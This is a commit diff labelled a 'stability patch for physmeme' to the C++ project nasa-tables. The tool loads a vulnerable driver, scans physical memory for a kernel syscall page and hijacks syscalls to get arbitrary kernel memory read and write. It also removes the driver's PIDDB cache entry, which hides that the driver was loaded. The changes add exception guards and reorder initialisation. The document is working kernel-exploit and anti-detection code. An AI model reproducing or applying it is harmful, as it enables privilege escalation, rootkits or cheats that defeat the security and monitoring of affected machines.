stability patch for physmeme...

nasa-tables/kernel_ctx/kernel_ctx.cpp

@@ -1,5 +1,4 @@
 #include "kernel_ctx.h"
-#include "../mem_ctx/mem_ctx.hpp"
 
 namespace nasa
 {
@@ -8,6 +7,13 @@ namespace nasa
 		if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
 			return;
 
+		ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
+			LoadLibraryExA(
+				"ntoskrnl.exe",
+				NULL,
+				DONT_RESOLVE_DLL_REFERENCES
+			));
+
 		nt_rva = reinterpret_cast<std::uint32_t>(
 			util::get_module_export(
 				"ntoskrnl.exe",
@@ -16,13 +22,6 @@ namespace nasa
 			));
 
 		nt_page_offset = nt_rva % PAGE_SIZE;
-		ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
-			LoadLibraryExA(
-				"ntoskrnl.exe", 
-				NULL,
-				DONT_RESOLVE_DLL_REFERENCES
-			));
-
 		std::vector<std::thread> search_threads;
 		//--- for each physical memory range, make a thread to search it
 		for (auto ranges : util::pmem_ranges)
@@ -43,14 +42,15 @@ namespace nasa
 		if (begin + end <= 0x1000 * 512)
 		{
 			auto page_va = nasa::map_phys(begin + nt_page_offset, end);
-			last_mapped_virt.store((void*)page_va);
-			last_mapping_size.store(end);
-
 			if (page_va)
 			{
 				// scan every page of the physical memory range
 				for (auto page = page_va; page < page_va + end; page += 0x1000)
+				{
 					if (!is_page_found.load()) // keep scanning until its found
+					{
+						__try
+						{
 							if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
 							{
 								//
@@ -66,6 +66,10 @@ namespace nasa
 								is_page_found.store(true);
 								return;
 							}
+						}
+						__except (EXCEPTION_EXECUTE_HANDLER) {}
+					}
+				}
 				nasa::unmap_phys(page_va, end);
 			}
 		}
@@ -77,15 +81,14 @@ namespace nasa
 			for (auto range = begin; range < begin + end; range += 0x1000 * 512)
 			{
 				auto page_va = nasa::map_phys(range + nt_page_offset, 0x1000 * 512);
-				last_mapped_virt.store((void*)page_va);
-				last_mapping_size.store(0x1000 * 512);
-
 				if (page_va)
 				{
 					// loop every page of 2mbs (512)
 					for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
 					{
 						if (!is_page_found.load())
+						{
+							__try
 							{
 								if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
 								{
@@ -103,6 +106,8 @@ namespace nasa
 									return;
 								}
 							}
+							__except (EXCEPTION_EXECUTE_HANDLER) {}
+						}
 					}
 					nasa::unmap_phys(page_va, 0x1000 * 512);
 				}
@@ -110,14 +115,13 @@ namespace nasa
 
 			// map the remainder and check each page of it
 			auto page_va = nasa::map_phys(begin + end - remainder + nt_page_offset, remainder);
-			last_mapped_virt.store((void*)page_va);
-			last_mapping_size.store(remainder);
-
 			if (page_va)
 			{
 				for (auto page = page_va; page < page_va + remainder; page += 0x1000)
 				{
 					if (!is_page_found.load())
+					{
+						__try
 						{
 							if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
 							{
@@ -135,6 +139,8 @@ namespace nasa
 								return;
 							}
 						}
+						__except (EXCEPTION_EXECUTE_HANDLER) {}
+					}
 				}
 				nasa::unmap_phys(page_va, remainder);
 			}
@@ -197,13 +203,16 @@ namespace nasa
 			);
 
 		if (mm_copy_memory)
-			syscall<decltype(&memcpy)>(
+		{
+			syscall<decltype(&memcpy)>
+			(
 				mm_copy_memory,
 				buffer,
 				address,
 				size
 			);
 		}
+	}
 
 	void kernel_ctx::wkm(void* buffer, void* address, std::size_t size)
 	{
@@ -218,13 +227,16 @@ namespace nasa
 			);
 
 		if (mm_copy_memory)
-			syscall<decltype(&memcpy)>(
+		{
+			syscall<decltype(&memcpy)>
+			(
 				mm_copy_memory,
 				address,
 				buffer,
 				size
 			);
 		}
+	}
 
 	void* kernel_ctx::get_physical(void* virt_addr)
 	{
@@ -237,10 +249,7 @@ namespace nasa
 				"MmGetPhysicalAddress"
 			);
 
-		return syscall<MmGetPhysicalAddress>(
-			mm_get_physical,
-			virt_addr
-		);
+		return syscall<MmGetPhysicalAddress>(mm_get_physical, virt_addr);
 	}
 
 	void* kernel_ctx::get_virtual(void* addr)
@@ -256,10 +265,7 @@ namespace nasa
 
 		PHYSICAL_ADDRESS phys_addr;
 		memcpy(&phys_addr, &addr, sizeof(addr));
-		return syscall<MmGetVirtualForPhysical>(
-			mm_get_virtual,
-			phys_addr
-		);
+		return syscall<MmGetVirtualForPhysical>(mm_get_virtual,phys_addr);
 	}
 
 	bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)

nasa-tables/main.cpp

@@ -4,11 +4,10 @@
 
 int __cdecl main(int argc, char** argv)
 {
-	// only time driver needs to be loaded is to init physmeme/kernel_ctx...
 	nasa::load_drv();
 	nasa::kernel_ctx kernel;
 	if (kernel.clear_piddb_cache(nasa::drv_key, util::get_file_header((void*)raw_driver)->TimeDateStamp))
-		std::cout << "[+] flushed PIDDB Cache for physmeme driver..." << std::endl;
+		std::cout << "[+] Removed PIDDB Cache entry for physmeme driver..." << std::endl;
 	nasa::unload_drv();
 
 	const std::pair<unsigned, virt_addr_t> my_proc_data = { GetCurrentProcessId(), virt_addr_t{ GetModuleHandle(NULL) } };

nasa-tables/mem_ctx/mem_ctx.cpp

@@ -100,9 +100,6 @@ namespace nasa
 
 	void* mem_ctx::set_page(void* addr)
 	{
-		if (!addr)
-			return {};
-
 		//
 		// table entry change.
 		//